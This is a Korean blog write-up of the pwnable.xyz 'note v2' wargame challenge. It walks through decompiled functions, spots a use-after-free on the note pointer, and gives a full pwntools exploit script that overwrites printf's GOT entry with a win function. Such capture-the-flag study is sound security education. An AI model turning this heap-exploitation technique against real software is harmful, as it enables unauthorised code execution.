tmxklab

[Pwnable.xyz] note v2 본문

War Game/Pwnable.xyz

[Pwnable.xyz] note v2

tmxk4221 2020. 9. 9. 22:30

1. 문제

nc svc.pwnable.xyz 30030

 

1) mitigation 확인

 

2) 문제 확인

  • 4개의 메뉴가 보이며 노트를 작성할 수 있고 출력, 삭제 기능이 보인다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("Note taking 102.");
  while ( 1 )
  {
    print_menu();
    switch ( (unsigned __int64)(unsigned int)read_int32() )
    {
      case 0uLL:
        return 0;
      case 1uLL:
        make_note();
        break;
      case 2uLL:
        edit_note();
        break;
      case 3uLL:
        delete_note();
        break;
      case 4uLL:
        print_note();
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}

 

3-2) make_note()

int make_note()
{
  void *v0; // rax
  int v1; // eax
  __int64 v2; // rcx
  int v4; // [rsp+4h] [rbp-Ch]
  void **buf; // [rsp+8h] [rbp-8h]

  if ( count <= 32 )
  {
    printf("size of note: ");
    v4 = read_int32();
    buf = (void **)malloc(0x28uLL);
    if ( !buf[4] )
      buf[4] = malloc(v4);
    printf("title: ");
    read(0, buf, 0x20uLL);
    printf("note: ");
    read(0, buf[4], v4 - 1);
    v1 = count++;
    v2 = 8LL * v1;
    v0 = &book;
    *(_QWORD *)((char *)&book + v2) = buf;
  }
  else
  {
    LODWORD(v0) = puts("Limit reached.");
  }
  return (int)v0;
}
  • buf에 0x28사이즈만큼 malloc하고 buf[4]가 존재하지 않으면 buf[4]에 size에 대한 입력 값만큼 malloc해준다.
  • buf에 0x20만큼 title을 저장하고, buf[4]에 v4-1만큼 note를 저장한다.
  • 마지막으로 book+v2(=8*count++)에 buf의 청크 주소를 저장한다.

 

3-3) edit_note()

ssize_t edit_note()
{
  ssize_t result; // rax
  size_t v1; // rax
  ssize_t v2; // [rsp+8h] [rbp-8h]

  result = get_note();
  v2 = result;
  if ( result )
  {
    printf("Title %s: ", result);
    v1 = strlen(*(const char **)(v2 + 32));
    result = read(0, *(void **)(v2 + 32), v1);
  }
  return result;
}
  • get_note()의 리턴 값을 result에 저장한다.
  • result값이 존재하면 result를 출력하고 read(0, (result+32), strlen(result+32))를 수행한다. → note가 저장된 곳을 수정하는 부분

 

3-4) get_note()

__int64 get_note()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("Note#: ");
  v1 = read_int32();
  if ( v1 >= 0 && v1 < count )
    return book[v1];
  puts("Invalid");
  return 0LL;
}
  • 인덱스에 대한 입력 값을 v1에 받고 if문이 참이면 return값으로 book[v1]을 준다. → note에 대한 정보를 담은 청크의 주소 반환

 

3-5) delete_note()

void **delete_note()
{
  void **result; // rax
  int v1; // eax
  __int64 v2; // rdx

  result = (void **)get_note();
  if ( result )
  {
    free(result[4]);
    v1 = count--;
    v2 = 8LL * v1;
    result = (void **)&book;
    *(_QWORD *)((char *)&book + v2) = 0LL;
  }
  return result;
}
  • get_note()의 반환 값을 result에 저장한다.
  • result값이 존재하면 free(result[4])를 수행하고 (book+(8count-1))가 위치한 곳에 널 바이트를 저장한다. → book에 저장된 note에 대한 청크의 주소를 널 바이트로 채워 넣음
  • 근데 result[4]를 free시키고 널 바이트를 넣지 않음

 

3-6) print_note()

int print_note()
{
  __int64 v0; // rax

  v0 = get_note();
  if ( v0 )
    LODWORD(v0) = printf("%s : %s\n", v0, *(_QWORD *)(v0 + 32));
  return v0;
}
  • get_note()의 반환 값을 v0에 저장한다.
  • v0가 존재하면 v0, v0+32을 출력한다. → title과 note 출력

 

전역변수)

  • count : 0x602264 → book에 저장된 청크의 개수
  • book : 0x602280 → note에 대한 청크의 주소를 관리하는 전역변수

 


2. 접근방법

 

1) 청크 구조 확인

메뉴 1번을 통해 note를 하나 추가

입력 값 : title → "AAAAAAAA" , note → "BBBBBBBB"

  • note_info chunk : 0x603260
  • note_info[0] ~ note_info[3] : title
  • note_info[4] : note chunk addr
  • note chunk : 0x603290
  • book[0] : 0x603260 / count : 1

 

note_info 청크는 항상 동일한 사이즈(0x28)의 malloc할당을 받는다. 그리고 note_info[4]에는 note데이터를 저장하는 note 청크의 주소가 저장된다. 만약, 해당 청크를 free하고 note_info청크를 생성하면 free된 note_info청크의 주소를 재할당하게 될 것이다. → uaf 쌉가능

 

공격 프로세스)

  • note_info 청크 생성 및 note_info[4]에 printf@got값을 넣음
  • 할당된 note_info청크를 free
  • 다시 note_info청크를 재할당하면 note_info[4]에는 그대로 printf@got값이 있으므로 note데이터에는 win함수를 적어준다.
  • 메뉴 4를 실행해서 printf를 실행시킴

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30030)
e = ELF("./challenge")
#gdb.attach(p)

win_addr = e.symbols['win']
printf_got = e.got['printf']
printf_got = '\x40\x20\x60'

def make_note(size, title, note):
    p.sendlineafter("> ", str(1))
    p.sendlineafter("note: ", str(size))
    p.sendafter("title: ", title)
    p.sendafter("note: ", note)

def edit_note(idx, note):
    p.sendlineafter("> ", str(1))
    p.sendlineafter("Note#: ", str(idx))
    p.sendafter(": ", note)

# 1. make chunk
make_note(40, "A", "A"*0x20+printf_got)

# 2. free
p.sendlineafter("> ", str(3))
p.sendlineafter("#: ", str(0))

# 3. make chunk
make_note(40, "B", p64(win_addr))

# 4. execute win
p.sendlineafter("> ", str(4))
p.sendlineafter("#: ", str(0))

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] Dirty Turtle  (0) 2020.09.09
[Pwnable.xyz] Hero Factory  (0) 2020.09.09
[Pwnable.xyz] executioner v2  (0) 2020.09.09
[Pwnable.xyz] badayum  (0) 2020.09.09
[Pwnable.xyz] password  (0) 2020.09.09
Comments